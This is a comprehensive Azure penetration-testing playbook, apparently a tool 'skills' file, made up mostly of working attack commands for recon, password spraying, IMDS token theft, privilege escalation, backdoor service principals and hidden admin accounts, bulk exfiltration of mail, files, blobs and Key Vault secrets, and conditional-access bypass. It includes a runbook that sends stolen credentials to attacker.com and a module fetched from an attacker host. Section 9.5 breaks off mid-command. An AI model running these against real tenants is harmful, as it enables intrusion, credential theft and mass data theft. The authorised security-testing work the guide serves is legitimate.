skills

Azure Penetration Testing - Comprehensive Reference

Vendor-Neutral Azure Security Assessment Guide
Focus: Tools, Processes, Commands, Attack Techniques
Last Updated: February 2026


Table of Contents

  1. Methodology Overview
  2. Tools Arsenal
  3. Phase 1: Reconnaissance
  4. Phase 2: Initial Access
  5. Phase 3: Enumeration
  6. Phase 4: Privilege Escalation
  7. Phase 5: Lateral Movement
  8. Phase 6: Persistence
  9. Phase 7: Data Exfiltration
  10. Phase 8: Defense Evasion
  11. Service-Specific Playbooks
  12. Quick Reference

1. Methodology Overview

Azure Attack Surface

┌─────────────────────────────────────────────────────────────┐
│                    AZURE ATTACK SURFACE                      │
├─────────────────────────────────────────────────────────────┤
│                                                              │
│  ┌──────────────┐  ┌──────────────┐  ┌──────────────┐     │
│  │  Entra ID    │  │   Azure      │  │   Hybrid     │     │
│  │  (Azure AD)  │  │  Resources   │  │  Identity    │     │
│  └──────────────┘  └──────────────┘  └──────────────┘     │
│         │                  │                  │             │
│         ├─ Users           ├─ VMs             ├─ AD Connect│
│         ├─ Groups          ├─ Storage         ├─ ADFS      │
│         ├─ Apps            ├─ Functions       └─ Federation│
│         ├─ Service         ├─ Key Vaults                    │
│         │  Principals      ├─ SQL Databases                 │
│         └─ Roles           └─ Logic Apps                    │
│                                                              │
└─────────────────────────────────────────────────────────────┘

Attack Lifecycle

RECONNAISSANCE
├── Tenant Discovery (AADInternals, public APIs)
├── User Enumeration (GetCredentialType, O365 endpoints)
└── Service Discovery (subdomain brute-force, DNS)

INITIAL ACCESS
├── Password Spraying (MSOLSpray, O365spray)
├── Phishing (OAuth consent, device code flow)
├── Credential Harvesting (GitHub, config files)
└── SSRF to IMDS (metadata service exploitation)

ENUMERATION
├── Entra ID (users, groups, roles, apps)
├── Subscriptions & Resources
├── RBAC Assignments
└── Service Principals & Managed Identities

PRIVILEGE ESCALATION
├── RBAC Abuse (Key Vault Contributor, VM roles)
├── Federation Backdoor (domain conversion)
├── App Registration Manipulation
├── Service Principal Credential Addition
└── Managed Identity Pivot

LATERAL MOVEMENT
├── Managed Identity Abuse (Functions, Logic Apps, VMs)
├── Key Vault Secret Extraction
├── Graph API Enumeration
└── Storage Account Access

PERSISTENCE
├── Service Principal Creation (with Owner role)
├── OAuth Permission Grant Injection
├── Application Backdooring
├── Automation Account Package Modification
└── Hidden Admin Account Creation

DATA EXFILTRATION
├── Blob Storage Download
├── Email Access (Graph API)
├── OneDrive File Sync
└── Key Vault Secret Dump

DEFENSE EVASION
├── Conditional Access Bypass
├── Token Manipulation
├── Log Evasion
└── Detection Rule Bypass

Key Differentiators from AWS

Aspect Azure AWS
Identity Entra ID (centralized) IAM (per-account)
Primary API Microsoft Graph AWS API per service
Metadata Service IMDS with header requirement IMDSv1 (no auth), IMDSv2 (token)
Privilege Model RBAC + Entra ID roles IAM policies
Federation Native SAML/WS-Fed support SAML via IAM
Managed Identity System/User-assigned IAM roles for EC2

2. Tools Arsenal

Installation & Setup

Core Tools

Tool Category Installation Purpose
Azure CLI Official curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash Primary Azure management
Az PowerShell Official Install-Module -Name Az -AllowClobber PowerShell-based management
AADInternals Offensive Install-Module AADInternals Entra ID exploitation framework
ROADtools Offensive pip install roadrecon roadlib roadtx Azure AD enumeration & analysis
AzureHound Offensive Download from GitHub releases BloodHound for Azure
MicroBurst Offensive git clone https://github.com/NetSPI/MicroBurst Azure security assessment
PowerZure Offensive Import-Module .\PowerZure.psd1 PowerShell exploitation framework
Stormspotter Offensive Docker-based installation Attack graph visualization
GraphRunner Offensive pip install graphrunner Microsoft Graph API toolkit

Specialized Tools

Tool Purpose Installation
MSOLSpray Password spraying git clone https://github.com/dafthack/MSOLSpray
o365spray Office 365 password spraying pip install o365spray
TeamFiltration Microsoft Teams exploitation Download from GitHub
TokenTactics Token manipulation Import-Module .\TokenTactics.psd1
AzureADEnumeration Unauthenticated enumeration Python script
ScoutSuite Security auditing pip install scoutsuite
Prowler Best practices scanner pip install prowler

Quick Setup Script

#!/bin/bash
# Azure Pentest Environment Setup

# Azure CLI
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash

# Python tools
pip install roadrecon roadlib roadtx graphrunner scoutsuite prowler o365spray

# PowerShell (if on Linux)
sudo apt-get install -y powershell

# PowerShell modules
pwsh -Command "Install-Module -Name Az -AllowClobber -Force"
pwsh -Command "Install-Module AADInternals -Force"

# Clone repositories
git clone https://github.com/NetSPI/MicroBurst
git clone https://github.com/dafthack/MSOLSpray
git clone https://github.com/Azure/Stormspotter

echo "[+] Azure pentest environment ready"

3. Phase 1: Reconnaissance

3.1 Tenant Discovery

Identify Tenant ID

# AADInternals
Get-AADIntTenantID -Domain company.com

# Azure CLI (requires auth)
az account show --query tenantId -o tsv

# Manual (unauthenticated)
curl "https://login.microsoftonline.com/company.com/.well-known/openid-configuration" | jq -r '.token_endpoint' | cut -d'/' -f4

Enumerate Tenant Domains

# AADInternals
Get-AADIntTenantDomains -Domain company.com

# Output: All domains associated with tenant
# - company.com
# - company.onmicrosoft.com
# - subsidiary.com

Tenant Information Gathering

# Login information (federation, branding)
Get-AADIntLoginInformation -Domain company.com

# Reconnaissance as outsider
Invoke-AADIntReconAsOutsider -DomainName company.com

3.2 User Enumeration

GetCredentialType Endpoint (Unauthenticated)

# Single user
curl -X POST "https://login.microsoftonline.com/common/GetCredentialType" \
  -H "Content-Type: application/json" \
  -d '{"Username":"alice@company.com"}'

# Response indicates if user exists:
# - IfExistsResult: 0 (exists), 1 (doesn't exist)
# - ThrottleStatus: 0 (not throttled), 1 (throttled)

Bulk User Enumeration

# AADInternals
Get-Content users.txt | Invoke-AADIntUserEnumerationAsOutsider

# o365creeper
python o365creeper.py -f emails.txt -o valid_users.txt

OneDrive User Enumeration

# Check if OneDrive exists for user
curl -I "https://company-my.sharepoint.com/personal/alice_company_com/_layouts/15/onedrive.aspx"
# HTTP 200 = user exists with OneDrive
# HTTP 404 = user doesn't exist or no OneDrive

3.3 Service Discovery

Subdomain Enumeration

# MicroBurst
Invoke-EnumerateAzureSubDomains -Base company -Verbose

# Common patterns:
# - {name}.blob.core.windows.net
# - {name}.file.core.windows.net
# - {name}.queue.core.windows.net
# - {name}.table.core.windows.net
# - {name}.vault.azure.net
# - {name}.azurewebsites.net
# - {name}.scm.azurewebsites.net

Storage Account Discovery

# Permutate common names
for name in company companydata companyprod companydev companybackup; do
  curl -I "https://${name}.blob.core.windows.net/"
done

# MicroBurst
Invoke-EnumerateAzureBlobs -Base company

Public Blob Container Enumeration

# Check for anonymous access
curl "https://accountname.blob.core.windows.net/containername?restype=container&comp=list"

# If accessible, lists all blobs in container

4. Phase 2: Initial Access

4.1 Password Spraying

MSOLSpray (Azure AD)

# Import module
Import-Module .\MSOLSpray.ps1

# Single password spray
Invoke-MSOLSpray -UserList .\users.txt -Password "Winter2026!"

# Multiple passwords with delay
Invoke-MSOLSpray -UserList .\users.txt -PasswordList .\passwords.txt -Delay 60

o365spray

# Validate users first
o365spray --validate -U users.txt

# Password spray
o365spray --spray -U valid_users.txt -p "Winter2026!" --count 1 --lockout 5

# With rate limiting
o365spray --spray -U valid_users.txt -P passwords.txt --rate 10 --safe 5

TeamFiltration

# Spray with Teams validation
TeamFiltration --spray --users users.txt --passwords passwords.txt --delay 60

# Exfiltrate data after successful auth
TeamFiltration --exfiltrate --username alice@company.com --password "Winter2026!"

4.2 Credential Harvesting

# Search patterns
"company.onmicrosoft.com" password
"DefaultEndpointsProtocol=https;AccountName="
"AZURE_CLIENT_SECRET"
"AZURE_TENANT_ID"
"az login" password
"Connect-AzAccount" -Credential

# Tools
truffleHog https://github.com/company/repo
gitleaks detect --source /path/to/repo

Configuration Files

# Common locations
~/.azure/azureProfile.json
~/.azure/accessTokens.json
~/.azure/clouds.config
~/.azure/config

# Windows
%USERPROFILE%\.azure\
C:\Users\*\.azure\

# Application configs
appsettings.json
web.config
.env files
docker-compose.yml

Connection Strings

# Azure Storage
DefaultEndpointsProtocol=https;AccountName=myaccount;AccountKey=key;EndpointSuffix=core.windows.net

# SQL Database
Server=tcp:myserver.database.windows.net,1433;Database=mydb;User ID=admin;Password=pass;

# Service Bus
Endpoint=sb://namespace.servicebus.windows.net/;SharedAccessKeyName=RootManageSharedAccessKey;SharedAccessKey=key

4.3 IMDS Exploitation

Basic IMDS Access (from Azure VM)

# Instance metadata
curl -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"

# Managed identity token
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

SSRF to IMDS

# Basic SSRF
http://vulnerable-app.com/fetch?url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

# Header injection (if app forwards headers)
GET /fetch?url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/ HTTP/1.1
Metadata: true

Token Extraction & Usage

# Extract token
TOKEN=$(curl -s -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" | jq -r '.access_token')

# Use token with Azure CLI
az login --identity
az account show

# Use token with REST API
curl -H "Authorization: Bearer $TOKEN" "https://management.azure.com/subscriptions?api-version=2020-01-01"

4.4 OAuth Phishing

Device Code Flow Phishing

# AADInternals
Get-AADIntAccessTokenForAADGraph -UseDeviceCode

# User sees:
# "To sign in, use a web browser to open https://microsoft.com/devicelogin and enter code ABC123"
# Attacker sends this to victim, obtains token when victim authenticates
# Create malicious OAuth app
# Request high-privilege permissions:
# - Mail.ReadWrite
# - Files.ReadWrite.All
# - Directory.ReadWrite.All

# Send consent URL to victim
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
  client_id=<malicious-app-id>&
  response_type=code&
  redirect_uri=https://attacker.com/callback&
  scope=Mail.ReadWrite Files.ReadWrite.All offline_access&
  state=12345

# Capture authorization code from redirect
# Exchange for access token

5. Phase 3: Enumeration

5.1 Entra ID Enumeration

Azure CLI

# Users
az ad user list --query "[].{UPN:userPrincipalName, Name:displayName, Enabled:accountEnabled}" -o table

# Groups
az ad group list --query "[].{Name:displayName, Description:description}" -o table

# Group members
az ad group member list --group "SQL Admins" --query "[].userPrincipalName" -o tsv

# Service principals
az ad sp list --all --query "[].{Name:displayName, AppId:appId}" -o table

# Applications
az ad app list --query "[].{Name:displayName, AppId:appId}" -o table

Az PowerShell

# Users
Get-AzADUser | Select-Object UserPrincipalName, DisplayName, AccountEnabled

# Groups
Get-AzADGroup | Select-Object DisplayName, Description

# Group members
Get-AzADGroupMember -GroupDisplayName "SQL Admins"

# Service principals
Get-AzADServicePrincipal | Select-Object DisplayName, ApplicationId

# Role assignments
Get-AzRoleAssignment | Select-Object DisplayName, RoleDefinitionName, Scope

AADInternals

# Get access token
Get-AADIntAccessTokenForAADGraph

# Dump all users
Get-AADIntUsers | Export-Csv users.csv

# Dump all groups
Get-AADIntGroups | Export-Csv groups.csv

# Service principals
Get-AADIntServicePrincipals | Export-Csv service_principals.csv

# Conditional Access policies
Get-AADIntConditionalAccessPolicies

5.2 ROADtools Enumeration

Authentication

# With credentials
roadrecon auth -u user@company.com -p password

# With access token
roadrecon auth --access-token eyJ0eXA...

# With PRT cookie
roadrecon auth --prt-cookie <prt> -r msgraph -c "1950a258-227b-4e31-a9cf-717495945fc2"

Data Gathering

# Collect all data
roadrecon gather

# With MFA
roadrecon gather --mfa

# Output: roadrecon.db (SQLite database)

GUI Analysis

# Start web interface
roadrecon gui

# Navigate to http://localhost:5000
# Explore:
# - Users, Groups, Devices
# - Applications, Service Principals
# - Roles, Administrative Units
# - Conditional Access Policies

SQL Queries

-- Connect to roadrecon.db
sqlite3 roadrecon.db

-- Users with admin roles
SELECT u.userPrincipalName, r.displayName as Role
FROM users u
JOIN role_members rm ON u.objectId = rm.memberId
JOIN roles r ON rm.roleId = r.objectId;

-- Groups with 'admin' in name
SELECT displayName, description FROM groups WHERE displayName LIKE '%admin%';

-- Applications without role assignment requirement
SELECT displayName, appId FROM applications WHERE appRoleAssignmentRequired = 0;

-- Service principals with high-privilege roles
SELECT sp.displayName, r.displayName as Role
FROM service_principals sp
JOIN role_members rm ON sp.objectId = rm.memberId
JOIN roles r ON rm.roleId = r.objectId;

5.3 AzureHound Collection

# Download AzureHound
wget https://github.com/BloodHoundAD/AzureHound/releases/latest/download/azurehound-linux-amd64
chmod +x azurehound-linux-amd64

# Collect with credentials
./azurehound -u "user@company.com" -p "password" list --tenant "company.onmicrosoft.com" -o azurehound.json

# Collect with refresh token
./azurehound --refresh-token <token> list --tenant "tenant-id" -o azurehound.json

# Import to BloodHound
# 1. Start Neo4j: neo4j console
# 2. Open BloodHound GUI
# 3. Upload azurehound.json
# 4. Query attack paths

5.4 Azure Resources Enumeration

Subscriptions

# List subscriptions
az account list --query "[].{Name:name, ID:id, State:state}" -o table

# Set active subscription
az account set --subscription "subscription-id"

Resource Groups

# List resource groups
az group list --query "[].{Name:name, Location:location}" -o table

# Resources in group
az resource list --resource-group "RG-Production" -o table

Virtual Machines

# List VMs
az vm list --query "[].{Name:name, ResourceGroup:resourceGroup, Location:location}" -o table

# VM details
az vm show --name "VM-Web01" --resource-group "RG-Production"

# List VM extensions
az vm extension list --vm-name "VM-Web01" --resource-group "RG-Production"

Storage Accounts

# List storage accounts
az storage account list --query "[].{Name:name, ResourceGroup:resourceGroup}" -o table

# List containers
az storage container list --account-name "companydata" --query "[].name" -o tsv

# List blobs
az storage blob list --account-name "companydata" --container-name "backups" -o table

Key Vaults

# List Key Vaults
az keyvault list --query "[].{Name:name, ResourceGroup:resourceGroup}" -o table

# List secrets
az keyvault secret list --vault-name "company-vault" --query "[].name" -o tsv

# Get secret value
az keyvault secret show --vault-name "company-vault" --name "AdminPassword" --query value -o tsv

Function Apps

# List Function Apps
az functionapp list --query "[].{Name:name, ResourceGroup:resourceGroup, State:state}" -o table

# Get function keys
az functionapp keys list --name "company-functions" --resource-group "RG-Production"

# List functions
az functionapp function list --name "company-functions" --resource-group "RG-Production"

5.5 Managed Identity Enumeration

# List VMs with managed identities
az vm list --query "[?identity!=null].{Name:name, IdentityType:identity.type}" -o table

# Get managed identity details
az vm identity show --name "VM-Web01" --resource-group "RG-Production"

# List role assignments for managed identity
az role assignment list --assignee <principal-id> -o table

6. Phase 4: Privilege Escalation

6.1 High-Risk Entra ID Roles (Tier 0)

Role Capabilities Escalation Risk
Global Administrator Full tenant control CRITICAL
Privileged Role Administrator Can assign any role CRITICAL
Privileged Authentication Administrator Reset any user's auth methods CRITICAL
Application Administrator Full control over app registrations HIGH
Cloud Application Administrator Similar to App Admin HIGH
Hybrid Identity Administrator Controls sync/federation HIGH
Security Administrator Security policy control HIGH
Conditional Access Administrator Bypass/modify CA policies HIGH

6.2 RBAC Privilege Escalation

Key Vault Contributor Abuse

# Scenario: You have Key Vault Contributor role
# Permission: Microsoft.KeyVault/vaults/write

# Modify access policy to grant yourself access
az keyvault set-policy --name "company-vault" \
  --upn attacker@company.com \
  --secret-permissions get list \
  --key-permissions get list \
  --certificate-permissions get list

# Extract secrets
az keyvault secret list --vault-name "company-vault" --query "[].id" -o tsv | while read secret; do
  echo "Secret: $secret"
  az keyvault secret show --id "$secret" --query value -o tsv
done

VM Contributor with Managed Identity

# Scenario: VM has high-privilege managed identity
# You have VM Contributor role

# Method 1: Execute commands on VM
az vm run-command invoke \
  --name "VM-Admin" \
  --resource-group "RG-Production" \
  --command-id RunShellScript \
  --scripts "curl -H 'Metadata: true' 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'"

# Method 2: Attach admin managed identity to your VM
az vm identity assign \
  --name "YourVM" \
  --resource-group "YourRG" \
  --identities /subscriptions/<sub>/resourcegroups/<rg>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/AdminIdentity

# Method 3: Create new VM with admin identity
az vm create \
  --name "BackdoorVM" \
  --resource-group "YourRG" \
  --image UbuntuLTS \
  --assign-identity /subscriptions/<sub>/resourcegroups/<rg>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/AdminIdentity

6.3 Application Registration Abuse

Create Backdoor Application

# Create app registration
$app = New-AzADApplication -DisplayName "WebService"

# Create service principal
$sp = New-AzADServicePrincipal -ApplicationId $app.AppId

# Add high-privilege API permissions (requires admin consent)
# Microsoft Graph permissions:
# - Directory.ReadWrite.All
# - RoleManagement.ReadWrite.Directory
# - User.ReadWrite.All

# Generate client secret
$secret = New-AzADAppCredential -ApplicationId $app.AppId -EndDate (Get-Date).AddYears(2)

# Assign Owner role to service principal
New-AzRoleAssignment -ObjectId $sp.Id -RoleDefinitionName "Owner" -Scope "/subscriptions/<subscription-id>"

Add Credentials to Existing App

# Scenario: You have Application Administrator role

# Add secret to existing high-privilege app
az ad app credential reset --id <app-object-id> --append

# Output includes new client secret
# Use for persistent access

6.4 Federation Backdoor

# AADInternals - Convert domain to federated
# Requires Hybrid Identity Administrator or Global Administrator

# Get domain authentication type
Get-AADIntDomainAuthType -Domain company.com

# Convert to federated
ConvertTo-AADIntFederated -Domain company.com

# Set up malicious federation endpoint
# Issue arbitrary SAML tokens
# Bypasses MFA and Conditional Access

6.5 Service Principal Manipulation

# Add credentials to existing service principal
# Requires appropriate permissions

# PowerShell
$sp = Get-AzADServicePrincipal -DisplayName "HighPrivilegeApp"
$cred = New-AzADSpCredential -ObjectId $sp.Id -EndDate (Get-Date).AddYears(2)

# Azure CLI
az ad sp credential reset --id <sp-object-id> --append

# Use credentials for persistent access
az login --service-principal -u <app-id> -p <secret> --tenant <tenant-id>

6.6 Administrative Units Abuse

# Scenario: You're scoped admin in Administrative Unit
# Can manage users/groups within AU scope

# List administrative units
Get-AzureADMSAdministrativeUnit

# Add user to AU (if you have permission)
Add-AzureADMSAdministrativeUnitMember -Id <au-id> -RefObjectId <user-id>

# Assign role scoped to AU
New-AzureADMSScopedRoleMembership -AdministrativeUnitId <au-id> -RoleId <role-id> -RoleMemberInfo @{Id=<user-id>}

7. Phase 5: Lateral Movement

7.1 Managed Identity Token Theft

From Compromised VM

# Get token for Azure Resource Manager
TOKEN=$(curl -s -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" | jq -r '.access_token')

# Get token for Microsoft Graph
GRAPH_TOKEN=$(curl -s -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/" | jq -r '.access_token')

# Get token for Key Vault
VAULT_TOKEN=$(curl -s -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net/" | jq -r '.access_token')

# Use tokens
curl -H "Authorization: Bearer $TOKEN" "https://management.azure.com/subscriptions?api-version=2020-01-01"

From Azure Function

// Node.js Function App
const { DefaultAzureCredential } = require("@azure/identity");

const credential = new DefaultAzureCredential();
const token = await credential.getToken("https://management.azure.com/.default");

// Exfiltrate token
console.log(token.token);
# Python Function App
from azure.identity import DefaultAzureCredential

credential = DefaultAzureCredential()
token = credential.get_token("https://management.azure.com/.default")

# Exfiltrate token
print(token.token)

7.2 Key Vault Secret Extraction

With Managed Identity

# From VM with Key Vault access
VAULT_TOKEN=$(curl -s -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net/" | jq -r '.access_token')

# List secrets
curl -H "Authorization: Bearer $VAULT_TOKEN" "https://company-vault.vault.azure.net/secrets?api-version=7.4"

# Get secret value
curl -H "Authorization: Bearer $VAULT_TOKEN" "https://company-vault.vault.azure.net/secrets/AdminPassword?api-version=7.4"

With Azure CLI

# List all Key Vaults
az keyvault list --query "[].name" -o tsv | while read vault; do
  echo "=== Vault: $vault ==="
  
  # List secrets
  az keyvault secret list --vault-name "$vault" --query "[].name" -o tsv | while read secret; do
    echo "Secret: $secret"
    az keyvault secret show --vault-name "$vault" --name "$secret" --query value -o tsv
  done
done

7.3 Storage Account Access

With Access Keys

# List storage accounts
az storage account list --query "[].name" -o tsv | while read account; do
  echo "=== Account: $account ==="
  
  # Get access keys
  keys=$(az storage account keys list --account-name "$account" --query "[].value" -o tsv)
  
  # List containers
  az storage container list --account-name "$account" --account-key "$keys" --query "[].name" -o tsv
done

With SAS Token

# SAS token format
# ?sv=2021-06-08&ss=bfqt&srt=sco&sp=rwdlacupiytfx&se=2026-12-31T23:59:59Z&st=2026-01-01T00:00:00Z&spr=https&sig=signature

# List blobs with SAS
curl "https://company.blob.core.windows.net/backups?restype=container&comp=list&sv=2021-06-08&ss=b&srt=co&sp=rl&se=2026-12-31T23:59:59Z&sig=..."

# Download blob with SAS
curl "https://company.blob.core.windows.net/backups/database.bak?sv=2021-06-08&ss=b&srt=o&sp=r&se=2026-12-31T23:59:59Z&sig=..." -o database.bak

7.4 Microsoft Graph API Enumeration

Email Access

# Get Graph token
GRAPH_TOKEN=$(az account get-access-token --resource-type ms-graph --query accessToken -o tsv)

# List users
curl -H "Authorization: Bearer $GRAPH_TOKEN" "https://graph.microsoft.com/v1.0/users"

# Read user's emails
curl -H "Authorization: Bearer $GRAPH_TOKEN" "https://graph.microsoft.com/v1.0/users/alice@company.com/messages"

# Download email
curl -H "Authorization: Bearer $GRAPH_TOKEN" "https://graph.microsoft.com/v1.0/users/alice@company.com/messages/{message-id}/\$value"

OneDrive File Access

# List OneDrive files
curl -H "Authorization: Bearer $GRAPH_TOKEN" "https://graph.microsoft.com/v1.0/users/alice@company.com/drive/root/children"

# Download file
curl -H "Authorization: Bearer $GRAPH_TOKEN" "https://graph.microsoft.com/v1.0/users/alice@company.com/drive/items/{item-id}/content" -o file.docx

7.5 Automation Account Exploitation

Credential Extraction

# List Automation Accounts
Get-AzAutomationAccount

# List credentials
Get-AzAutomationCredential -AutomationAccountName "company-automation" -ResourceGroupName "RG-Production"

# Create malicious runbook to extract credentials
$runbook = @'
$cred = Get-AutomationPSCredential -Name 'StorageAccountCred'
$username = $cred.UserName
$password = $cred.GetNetworkCredential().Password
Invoke-WebRequest -Uri "https://attacker.com/exfil?u=$username&p=$password"
'@

New-AzAutomationRunbook -Name "CredDump" -Type PowerShell -AutomationAccountName "company-automation" -ResourceGroupName "RG-Production"
Import-AzAutomationRunbook -Path .\malicious.ps1 -Name "CredDump" -Type PowerShell -AutomationAccountName "company-automation" -ResourceGroupName "RG-Production" -Force
Publish-AzAutomationRunbook -Name "CredDump" -AutomationAccountName "company-automation" -ResourceGroupName "RG-Production"
Start-AzAutomationRunbook -Name "CredDump" -AutomationAccountName "company-automation" -ResourceGroupName "RG-Production"

8. Phase 6: Persistence

8.1 Service Principal Backdoor

# Create service principal with Owner role
$sp = New-AzADServicePrincipal -DisplayName "WebService" -Role "Owner"

# Extract secret
$BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($sp.Secret)
$secret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)

# Save credentials
Write-Output "AppId: $($sp.AppId)"
Write-Output "Secret: $secret"
Write-Output "TenantId: $(Get-AzContext).Tenant.Id"

# Re-authenticate later
$cred = Get-Credential  # AppId as username, secret as password
Connect-AzAccount -Credential $cred -Tenant "<tenant-id>" -ServicePrincipal

8.2 Application Registration Backdoor

# Create app with high-privilege permissions
$app = New-AzADApplication -DisplayName "BackupService"

# Create service principal
$sp = New-AzADServicePrincipal -ApplicationId $app.AppId

# Add certificate credential (more stealthy than secret)
$cert = New-SelfSignedCertificate -Subject "CN=BackupService" -CertStoreLocation "Cert:\CurrentUser\My" -KeyExportPolicy Exportable -KeySpec Signature -KeyLength 2048 -KeyAlgorithm RSA -HashAlgorithm SHA256
$certValue = [System.Convert]::ToBase64String($cert.GetRawCertData())

New-AzADAppCredential -ApplicationId $app.AppId -CertValue $certValue -EndDate (Get-Date).AddYears(2)

# Assign Global Administrator role (requires Privileged Role Administrator)
$role = Get-AzureADDirectoryRole | Where-Object {$_.DisplayName -eq "Global Administrator"}
Add-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -RefObjectId $sp.ObjectId

8.3 OAuth Permission Grant Injection

# Inject high-privilege OAuth grant
az rest --method POST \
  --uri "https://graph.microsoft.com/v1.0/oauth2PermissionGrants" \
  --body '{
    "clientId": "<app-object-id>",
    "consentType": "AllPrincipals",
    "principalId": null,
    "resourceId": "<resource-sp-object-id>",
    "scope": "Directory.ReadWrite.All Mail.ReadWrite Files.ReadWrite.All"
  }'

8.4 Hidden Admin Account

# Create user
az ad user create \
  --display-name "Support Account" \
  --password "ComplexP@ssw0rd123!" \
  --user-principal-name support@company.onmicrosoft.com

# Assign Global Administrator role
az role assignment create \
  --assignee support@company.onmicrosoft.com \
  --role "Global Administrator"

# Disable sign-in logs (if possible)
# Use legitimate-sounding name
# Avoid suspicious activity patterns

8.5 Automation Account Package Backdoor

# Upload malicious Python/PowerShell package
# Package contains credential exfiltration code
# Triggered by scheduled runbooks

# Example: Modify existing package
$packagePath = "C:\malicious-package.zip"
New-AzAutomationModule -AutomationAccountName "company-automation" -ResourceGroupName "RG-Production" -Name "MaliciousModule" -ContentLinkUri "https://attacker.com/package.zip"

8.6 Federation Backdoor

# AADInternals - Requires Hybrid Identity Administrator or Global Administrator

# Convert domain to federated
ConvertTo-AADIntFederated -Domain company.com

# Set up malicious IdP endpoint
# Issue arbitrary SAML tokens
# Bypasses MFA, Conditional Access, password policies

# Re-authenticate with forged token
Open-AADIntOffice365Portal -ImmutableId "user-immutable-id" -Issuer "http://attacker.com/adfs" -PfxFileName .\cert.pfx -PfxPassword "password"

9. Phase 7: Data Exfiltration

9.1 Blob Storage Exfiltration

# List all storage accounts
az storage account list --query "[].name" -o tsv > storage_accounts.txt

# For each account
while read account; do
  echo "=== $account ==="
  
  # Get keys
  key=$(az storage account keys list --account-name "$account" --query "[0].value" -o tsv)
  
  # List containers
  az storage container list --account-name "$account" --account-key "$key" --query "[].name" -o tsv | while read container; do
    echo "Container: $container"
    
    # Download all blobs
    az storage blob download-batch \
      --account-name "$account" \
      --account-key "$key" \
      --source "$container" \
      --destination "./exfil/$account/$container/"
  done
done < storage_accounts.txt

9.2 Email Exfiltration

# Get Graph token
GRAPH_TOKEN=$(az account get-access-token --resource-type ms-graph --query accessToken -o tsv)

# List all users
az ad user list --query "[].userPrincipalName" -o tsv > users.txt

# For each user
while read user; do
  echo "=== $user ==="
  
  # Get inbox messages
  curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
    "https://graph.microsoft.com/v1.0/users/$user/messages?\$top=100&\$select=subject,from,receivedDateTime" \
    | jq -r '.value[] | "\(.receivedDateTime) | \(.from.emailAddress.address) | \(.subject)"' \
    > "./exfil/emails/$user.txt"
  
  # Download attachments
  curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
    "https://graph.microsoft.com/v1.0/users/$user/messages?\$expand=attachments" \
    | jq -r '.value[].attachments[]? | "\(.id)|\(.name)"' | while IFS='|' read id name; do
      curl -H "Authorization: Bearer $GRAPH_TOKEN" \
        "https://graph.microsoft.com/v1.0/users/$user/messages/$id/attachments/$id/\$value" \
        -o "./exfil/attachments/$user-$name"
    done
done < users.txt

9.3 Key Vault Secret Dump

# List all Key Vaults
az keyvault list --query "[].name" -o tsv > vaults.txt

# For each vault
while read vault; do
  echo "=== $vault ===" >> secrets.txt
  
  # List and extract secrets
  az keyvault secret list --vault-name "$vault" --query "[].name" -o tsv | while read secret; do
    value=$(az keyvault secret show --vault-name "$vault" --name "$secret" --query value -o tsv)
    echo "$secret: $value" >> secrets.txt
  done
  
  # List and extract keys
  az keyvault key list --vault-name "$vault" --query "[].name" -o tsv | while read key; do
    az keyvault key backup --vault-name "$vault" --name "$key" --file "./exfil/keys/$vault-$key.bak"
  done
  
  # List and extract certificates
  az keyvault certificate list --vault-name "$vault" --query "[].name" -o tsv | while read cert; do
    az keyvault certificate download --vault-name "$vault" --name "$cert" --file "./exfil/certs/$vault-$cert.pem"
  done
done < vaults.txt

9.4 OneDrive/SharePoint Exfiltration

# Get Graph token
GRAPH_TOKEN=$(az account get-access-token --resource-type ms-graph --query accessToken -o tsv)

# List users
az ad user list --query "[].userPrincipalName" -o tsv > users.txt

# For each user
while read user; do
  echo "=== $user ==="
  
  # List OneDrive files
  curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
    "https://graph.microsoft.com/v1.0/users/$user/drive/root/children" \
    | jq -r '.value[] | "\(.id)|\(.name)"' | while IFS='|' read id name; do
      
      # Download file
      curl -H "Authorization: Bearer $GRAPH_TOKEN" \
        "https://graph.microsoft.com/v1.0/users/$user/drive/items/$id/content" \
        -o "./exfil/onedrive/$user-$name"
    done
done < users.txt

9.5 SQL Database Exfiltration

# List SQL servers
az sql server list --query "[].{Name:name, ResourceGroup:resourceGroup}" -o tsv | while IFS=

---

## 10. Phase 8: Defense Evasion

### 10.1 Conditional Access Bypass

#### Legacy Authentication

```bash
# Test legacy auth (bypasses MFA if not blocked)
curl -u user@company.com:password https://outlook.office365.com/EWS/Exchange.asmx

# IMAP
openssl s_client -connect outlook.office365.com:993
# LOGIN user@company.com password

# POP3
openssl s_client -connect outlook.office365.com:995
# USER user@company.com
# PASS password

Token Replay

# Steal token from compromised session
$token = (Get-AzAccessToken).Token

# Save token
$token | Out-File token.txt

# Replay on attacker machine
$token = Get-Content token.txt
Connect-AzAccount -AccessToken $token -AccountId user@company.com

Pass-the-PRT

# Extract PRT from compromised device (requires admin)
# Windows: mimikatz
mimikatz # privilege::debug
mimikatz # sekurlsa::cloudap

# Use PRT to request tokens (bypasses device compliance)
